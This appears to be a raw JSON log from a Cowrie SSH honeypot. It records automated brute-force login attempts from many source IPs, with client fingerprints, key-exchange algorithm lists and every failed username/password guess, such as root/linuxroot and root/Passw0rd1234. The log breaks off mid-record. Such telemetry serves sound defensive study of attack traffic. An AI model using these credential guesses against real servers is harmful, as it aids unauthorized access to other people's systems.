{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:22.872524Z","src_ip":"217.154.42.110","session":"18b0e25a22bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:22.952312Z","src_ip":"217.154.42.110","session":"18b0e25a22bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linuxroot","message":"login attempt [root/linuxroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:23.300953Z","src_ip":"217.154.42.110","session":"18b0e25a22bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:24.384682Z","src_ip":"217.154.42.110","session":"18b0e25a22bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":41552,"dst_ip":"159.203.135.109","dst_port":22,"session":"859b358f9aaa","protocol":"ssh","message":"New connection: 43.128.106.207:41552 (159.203.135.109:22) [session: 859b358f9aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:27.227008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:27.231881Z","src_ip":"43.128.106.207","session":"859b358f9aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:27.469936Z","src_ip":"43.128.106.207","session":"859b358f9aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyc123","message":"login attempt [root/lyc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:28.452042Z","src_ip":"43.128.106.207","session":"859b358f9aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:29.692329Z","src_ip":"43.128.106.207","session":"859b358f9aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":38166,"dst_ip":"10.17.0.5","dst_port":22,"session":"954c0b7a222c","protocol":"ssh","message":"New connection: 168.144.95.137:38166 (10.17.0.5:22) [session: 954c0b7a222c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:31.203243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:31.207661Z","src_ip":"168.144.95.137","session":"954c0b7a222c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:31.419544Z","src_ip":"168.144.95.137","session":"954c0b7a222c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"japan","message":"login attempt [root/japan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:32.302115Z","src_ip":"168.144.95.137","session":"954c0b7a222c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:33.519249Z","src_ip":"168.144.95.137","session":"954c0b7a222c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":52642,"dst_ip":"159.203.135.109","dst_port":22,"session":"2774987a1f07","protocol":"ssh","message":"New connection: 43.134.104.184:52642 (159.203.135.109:22) [session: 2774987a1f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:37.926651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:37.932137Z","src_ip":"43.134.104.184","session":"2774987a1f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:38.169646Z","src_ip":"43.134.104.184","session":"2774987a1f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy!@","message":"login attempt [root/deploy!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:39.151301Z","src_ip":"43.134.104.184","session":"2774987a1f07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":44232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a083a56df1ee","protocol":"ssh","message":"New connection: 69.49.246.176:44232 (159.203.135.109:22) [session: a083a56df1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:39.419190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:39.424098Z","src_ip":"69.49.246.176","session":"a083a56df1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:39.459609Z","src_ip":"69.49.246.176","session":"a083a56df1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lyc123","message":"login attempt [root/lyc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:39.601472Z","src_ip":"69.49.246.176","session":"a083a56df1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:40.391401Z","src_ip":"43.134.104.184","session":"2774987a1f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:40.632055Z","src_ip":"69.49.246.176","session":"a083a56df1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":38466,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c5d91fb7a44","protocol":"ssh","message":"New connection: 103.243.24.124:38466 (10.17.0.5:22) [session: 7c5d91fb7a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:42.747884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:42.752630Z","src_ip":"103.243.24.124","session":"7c5d91fb7a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:42.958129Z","src_ip":"103.243.24.124","session":"7c5d91fb7a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd1234","message":"login attempt [root/Passw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:43.571074Z","src_ip":"103.243.24.124","session":"7c5d91fb7a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:44.779596Z","src_ip":"103.243.24.124","session":"7c5d91fb7a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38038,"dst_ip":"159.203.135.109","dst_port":22,"session":"837a38a11afe","protocol":"ssh","message":"New connection: 103.153.68.219:38038 (159.203.135.109:22) [session: 837a38a11afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:50.406132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:50.412471Z","src_ip":"103.153.68.219","session":"837a38a11afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:50.664083Z","src_ip":"103.153.68.219","session":"837a38a11afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjrjlbk","message":"login attempt [root/rhjrjlbk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:51.418589Z","src_ip":"103.153.68.219","session":"837a38a11afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:52.677313Z","src_ip":"103.153.68.219","session":"837a38a11afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":60632,"dst_ip":"159.203.135.109","dst_port":22,"session":"79b93cdff88c","protocol":"ssh","message":"New connection: 31.57.216.39:60632 (159.203.135.109:22) [session: 79b93cdff88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.240963Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.272698Z","src_ip":"31.57.216.39","session":"79b93cdff88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.39","src_port":60644,"dst_ip":"159.203.135.109","dst_port":22,"session":"37425129fe7d","protocol":"ssh","message":"New connection: 31.57.216.39:60644 (159.203.135.109:22) [session: 37425129fe7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.514912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.520249Z","src_ip":"31.57.216.39","session":"37425129fe7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.624193Z","src_ip":"31.57.216.39","session":"37425129fe7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"Qq123456","message":"login attempt [minecraft/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:01.986503Z","src_ip":"31.57.216.39","session":"37425129fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:03.106686Z","src_ip":"31.57.216.39","session":"37425129fe7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.69.130","src_port":45892,"dst_ip":"10.17.0.5","dst_port":22,"session":"c59a23439a37","protocol":"ssh","message":"New connection: 74.48.69.130:45892 (10.17.0.5:22) [session: c59a23439a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:23.645166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:23.650123Z","src_ip":"74.48.69.130","session":"c59a23439a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-